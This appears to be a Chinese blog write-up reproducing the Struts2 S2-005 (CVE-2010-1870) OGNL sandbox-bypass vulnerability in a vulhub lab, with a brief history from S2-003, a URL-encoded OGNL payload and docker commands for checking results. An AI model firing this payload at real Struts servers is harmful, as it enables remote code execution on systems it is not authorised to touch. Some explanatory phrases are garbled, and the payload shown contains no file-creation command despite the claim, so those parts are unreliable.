CVE-2010-1870 S2-005复现
0X00-引言
江南真是个好地方,充满诗情画意,常见于文人墨客的书词中,每次见到都忍不住心神向往。想到烟雨就想到江南,江南风景美,人更美。
南朝四百八十寺,多少楼台烟雨中。
江南又梦烟雨,长河流入故里。
江南好,最好是红衣。
0X01-环境搭建
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
0X02-漏洞描述
参考吴翰清的《白帽子Web安全》一书
s2-0005漏洞的起源起源S2-003(版本:Struts 2.0.12),struts2执行http的每个参数名解析为OGNL语句(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防护安全问题,但通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全限制配置(禁止使用方法调用和类方法等)来文档,但是安全配置被再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的按钮把自己打开一个锁,但是把锁钥匙给插在了锁头上
XWork利用巴西GET参数的键和值OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
触发漏洞利用了这个点,再配合OGNL的沙盒-绕过方法,组成了S2003。官方对003的修复方法是增加了安全模式(沙),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
- S2-003 使用
\u0023
绕过2对#
的防御 - S2-003后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
影响版本:2.0.0 - 2.1.8.1
0X03-漏洞复现
01-创建tmp/success
payload:
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)
查看容器内tmp目录
docker ps #查看容器ID
docker exec -it ID /bin/bash #进入容器
ls /tmp #查看容器内tmp目录
exit #退出容器
至于构建其他payload,小生做不到啊🙃
0X04-工具检测
工具地址:https://github.com/Liqunkit/LiqunKit_
此工具强得很,谁用谁知道,懂都懂
0X05-日志查看
docker ps #查看容器ID
docker exec -it 910e341b0e88 /bin/bash #进入
cat localhost_access_log.2021-12-01.txt #查看日志
exit #退出容器